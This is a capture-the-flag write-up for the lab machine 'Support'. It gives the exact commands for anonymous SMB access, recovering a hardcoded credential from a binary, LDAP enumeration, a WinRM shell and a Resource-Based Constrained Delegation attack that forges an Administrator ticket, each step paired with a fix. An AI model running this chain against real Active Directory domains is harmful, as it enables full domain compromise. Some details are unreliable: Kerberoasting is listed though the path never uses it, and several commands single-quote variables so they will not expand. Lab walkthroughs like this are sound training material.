Support
Summary
I used an unauthenticated SMB guest session to download a custom .NET support tool from a world-readable internal share. Static reverse engineering of that binary recovered an obfuscated LDAP service-account password compiled into the code.
Those credentials were used to query Active Directory over LDAP, where the plaintext password for a second account ('support') had been stored in that user's 'info' field — readable by any authenticated domain user. Logging in as 'support' via WinRM gave an interactive shell on the Domain Controller.
Active Directory ACL enumeration then revealed that the 'support' account — through its 'Shared Support Accounts' group membership — held GenericAll (full control) over the DC computer object. That misconfigured permission was weaponised via a Resource-Based Constrained Delegation attack to forge a Kerberos service ticket impersonating the Domain Administrator, yielding complete control of the environment.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
echo "$TARGET dc.support.htb support.htb" | sudo tee -a /etc/hostsnmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,5985,9389 --open -oA support_nmap $TARGETExact commands 3
nxc smb $TARGET -u '' -p '' --sharessmbclient //$TARGET/support-tools -U '' -N -c 'get UserInfo.exe.zip'unzip UserInfo.exe.zip -d userinfo/FixDisable SMB guest/null sessions and restrict the support-tools shareHigh
Exact commands 2
ilspy userinfo/UserInfo.exepython3 -c "
import base64
enc = '$PASSWORD'
key = b'$PASSWORD5'
raw = base64.b64decode(enc)
print(''.join(chr(b ^ key[i % len(key)]) for i, b in enumerate(raw)))
"FixRemove hardcoded credentials from application binaries and use a secrets managerCritical
Exact commands 2
ldapsearch -x -H ldap://$TARGET -D 'ldap@support.htb' -w '$PASSWORD2' -b 'DC=support,DC=htb' '(objectClass=user)' sAMAccountName infonxc ldap $TARGET -u ldap -p '$PASSWORD2' -d support.htb --usersFixRemove plaintext passwords from Active Directory user and computer object attributesCritical
Exact commands 3
nxc winrm $TARGET -u support -p '$PASSWORD3' -d support.htbevil-winrm -i $TARGET -u support -p '$PASSWORD3'type C:\Users\support\Desktop\user.txtExact commands 2
bloodhound-python -u support -p '$PASSWORD3' -d support.htb -ns $TARGET -c all --zipGet-DomainObjectAcl -Identity 'DC$' -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' } | Select-Object SecurityIdentifier,ActiveDirectoryRightsFixRemove GenericAll from the Shared Support Accounts group over the DC computer object and reduce MachineAccountQuotaCritical
Exact commands 4
impacket-addcomputer support.htb/support:'$PASSWORD3' -computer-name 'ATTACKERPC$' -computer-pass '$PASSWORD4' -dc-ip $TARGETimpacket-rbcd -action write -delegate-to 'DC$' -delegate-from 'ATTACKERPC$' -dc-ip $TARGET 'support.htb/support:$PASSWORD3'impacket-getST -spn 'cifs/dc.support.htb' -impersonate Administrator -dc-ip $TARGET 'support.htb/ATTACKERPC$:$PASSWORD4'cd /tmp/support_htb && KRB5CCNAME='Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache' impacket-wmiexec -k -no-pass -dc-ip $TARGET -target-ip $TARGET support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'Attack patterns used
The transferable techniques behind this compromise.
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 04:12:32Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49664/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49678/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49714/tcp | unknown recon-sweep-discovered |